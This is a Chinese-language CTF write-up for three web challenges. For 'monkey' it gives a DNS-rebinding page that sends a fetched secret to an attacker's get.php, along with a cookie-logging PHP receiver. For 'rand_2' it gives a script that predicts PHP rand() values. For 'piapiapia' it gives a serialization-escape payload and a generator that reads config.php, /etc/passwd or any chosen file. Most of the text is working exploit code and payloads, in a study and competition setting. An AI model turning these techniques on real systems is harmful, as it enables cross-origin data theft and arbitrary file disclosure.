monkey
折腾最久就是这道题了,表示很无奈、、脑洞居然是DNS解析、、、给老外的送分题啊
根据页面提示 $str so that (substr(md5($str), 0, 6) === ‘c1da58’),果断跑数字,成功爆破,最后确定为7-9位左右
再根据提示What is Same Origin Policy?,明显的同源策略
先来一发ajax获取数据:
js.php or js.html
<script src="jquery.min.js"></script>
<script>
function getdata(){
$.ajax({
type: "GET",
url:'http://xxx.com:8080/secret',
async: true,
error: function(request) {
getdata();
},
success: function(data) {
$.get('http://yourdomain/get.php?data='+data);
}
});
}
getdata();
</script>
再来一发get.php:
<?php
$data = "get : ".urldecode(urldecode($_SERVER['QUERY_STRING']));
$data .= "\r\npost : ".urldecode(urldecode(file_get_contents("php://input")));
$data .= "\r\nip : ".$_SERVER["REMOTE_ADDR"];
$data .= "\r\nREFERER : ".$_SERVER['HTTP_REFERER'];
$data .= "\r\nHTTP_USER_AGENT : ".$_SERVER['HTTP_USER_AGENT'];
$data .= "\r\nREQUEST_METHOD : ".$_SERVER['REQUEST_METHOD'];
$data .= "\r\nCookies : ".implode(' ',$_COOKIES);
if(strlen($data)>10){
file_put_contents("get.txt","### ".date("Y-m-d H:m:s")." ###\r\n".$data."\r\n", FILE_APPEND);
}
?>
最后来一发自动爆破并提交的py:
monkey_poc.py
#!/bin/env python
#-*- encoding: utf-8 -*-
import md5
import os
import re
import time
import requests
def mx(str):
m1 = md5.new()
m1.update(str)
return m1.hexdigest()
if __name__ == '__main__':
r = requests.session()
print 'start'
g = r.get("http://202.120.7.200/index.php")
m = re.search(r'\(substr\(md5\(\$str\), 0, 6\) === \'([1|2|3|4|5|6|7|8|9|0|a|b|c|d|e|f]{6})\'\)', g.content).group(1)
print 'fucking ' + m
for x in range(10000000,100000000):
a = mx(str(x))[0:6]
if a == m:
print 'get string: ' + str(x)
_data = {"task":str(x), "url":"http://xxx.com:8080/fuck.php?a="+str(x)}
b = r.post("http://202.120.7.200/run.php",data=_data)
print b.content
break
time.sleep(3)
i = 120
while i:
if i == 110:
print ' Please change you dns'
else:
print i
i = i-1
time.sleep(1)
print 'end'
拿起你的域名、、、找一个牛X的dns解析提供商
运行poc后,根据提示把域名A记录改为127.0.0.1
你的js.php或者js.html需要放在8080端口哦、、、Orz
拼手速+网速的时候到了
rand_2
题目源码
<?php
include('config.php');
session_start();
if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
session_destroy();
die('timeout');
} else {
$_SESSION['time'] = time();
}
echo rand();
if (isset($_GET['go'])) {
$_SESSION['rand'] = array();
$i = 5;
$d = '';
while($i--){
$r = (string)rand();
$_SESSION['rand'][] = $r;
$d .= $r;
}
echo md5($d);
} else if (isset($_GET['check'])) {
if ($_GET['check'] === $_SESSION['rand']) {
echo $flag;
} else {
echo 'die';
session_destroy();
}
} else {
show_source(__FILE__);
}
由于$_GET[‘check’] === $_SESSION[‘rand’]是===全等类型判断,目测无法绕过、脑洞必然在rand()
这方面没怎么研究、完全现学现卖、、疯狂地百度
参考文章 : 随机数产生原理
队友写的POC
rand_2_poc.py
#!/bin/env python
#-*- encoding: utf-8 -*-
import requests
while True:
r = requests.session()
l = []
# 获取50个随机rand值并存入list
for i in range(50):
response = r.get('http://202.120.7.202:8888/')
l.append(int(response.content[:response.content.find('<')]))
#将$_SESSION['rand']这个数组写满5个随机数
response = r.get('http://202.120.7.202:8888/?go')
#获取将MD5之前的rand随机数存到list
l.append(int(response.content[:-32]))
url = 'http://202.120.7.202:8888/?'
for i in range(5):
end = len(l)
#由随机数生成算法预测下一个随机数
randNUM = (l[end-3]+l[end-31]) % 2147483648
l.append(randNUM)#将新生成的也加入到列表里
#构造url 传入数组5个预测rand随机数
url += 'check[]={}&'.format(randNUM)
response = r.get(url)#GET请求url 同时传入参数
#如果输出不是 die 大功告成
if 'die' not in response.content:
print response.content
break
piapiapia
下载源码、通读一遍。
大概可以知道这题的脑洞在于是更新个人资料。
并且,flag是在config.php中!
在class.php中可以看到filter()过滤函数,update_profile()更新profile函数
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
可以知道’和\被替换成_,以及select、insert、update、delete和where被替换成hacker。
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
所更新的资料都是被filter()过滤后的。
在update.php中
$user->update_profile($username, serialize($profile));
更新的profile是警告序列化转换的。
再往上看,用户输入的数据都是经过正则验证的,然而其中有这样一段代码
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10){
die('Invalid nickname');
}
明显和另外两个变量,email和photo不同、此处必定是脑洞!!!
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
返回值
preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。
如果发生错误preg_match()返回 FALSE。
如果发生错误preg_match()返回 FALSE。
当我们输入数组的时候,必定会导致preg_match()返回FALSE,同时让数组长度<10的很简单的,即可以提交nickname[]=playload
我们提交nickname[]=xxx可以得到序列化语句:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
根据PHP unserialize()的特性(这个是测试出来的),解序列化一个完整序列化语句之后的字符串是会被无视掉的。例如:
unserialize('a:1:{s:5:"phone";s:11:"12345678901";}')
等价于
unserialize('a:1:{s:5:"phone";s:11:"12345678901";}xxxxxxxxxxxxxxxx')
所以、我们可以构造一个特殊的序列化语句,伪造一个photo路径,就像这样:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
但是,我们提交的nickname[]=xxx”;}s:5:”photo”;s:10:”config.php的时候,却是会得到:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:34:"xxx";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
即
a:1:{i:0;s:34:"xxx";}s:5:"photo";s:10:"config.php";}
我们需要逃逸”;}s:5:”photo”;s:10:”config.php这31个字符
这时、猛然发现filter()中,把where替换成hacker明显逃逸了一个字符。。。。。脑洞完全暴露
当 ‘where’n+’“;}s:5:”photo”;s:10:”config.php’ == ‘hacker’n 的时候,就可以成功逃逸
得到playload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
piapiapia_poc.py
#!/bin/env python
#-*- encoding: utf-8 -*-
def getflag():
playload = '";}s:5:"photo";s:10:"config.php'
w = 'where'
h = 'hacker'
for i in range(100):
if len(w*i +playload) == len(h*i):
print 'Playload is :\r\n\t'+w*i +playload+'\r\n'
break
def getpasswd():
playload = '";}s:5:"photo";s:11:"/etc/passwd'
w = 'where'
h = 'hacker'
for i in range(100):
if len(w*i +playload) == len(h*i):
print 'Playload is :\r\n\t'+w*i +playload+'\r\n'
break
def getany(f):
playload = '";}s:5:"photo";s:'+str(len(f))+':"'+f
w = 'where'
h = 'hacker'
for i in range(100):
if len(w*i +playload) == len(h*i):
print 'Playload is :\r\n\t'+w*i +playload+'\r\n'
break
update(w*i +playload)
if __name__ == '__main__':
print 'get flag playload:\r\n'
getflag()
print 'get /ect/passwd playload:\r\n'
getpasswd()
f = raw_input("Input filepath what your want to read:")
getany(f)